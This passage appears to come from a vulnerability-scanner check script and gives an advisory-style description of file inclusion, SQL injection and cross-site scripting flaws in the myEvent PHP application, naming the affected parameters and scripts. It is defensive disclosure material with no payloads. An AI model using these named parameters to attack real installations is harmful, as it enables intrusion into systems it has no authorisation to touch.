  script_tag(name:"insight", value:"The installed version of myEvent fails to sanitize user
  input to the 'myevent_path' parameter in several scripts before using it to include PHP code
  from other files. An unauthenticated attacker may be able to read arbitrary local files or
  include a file from a remote host that contains commands which will be executed on the remote
  host subject to the privileges of the web server process.

  In addition, user input to the 'event_id' parameter in 'addevent.php' and 'del.php', and to the
  'event_desc' parameter in 'addevent.php' is not properly sanitised before being used in a SQL query,
  which may allow an attacker to insert arbitrary SQL statements in the remote database. A similar lack
  of sanitation involving the 'event_desc' parameter of 'addevent.php' allows for cross-site scripting
  attacks against the affected application.

  These flaws are exploitable only if PHP's register_globals is enabled.");

  remove the product or replace the product by another one.");
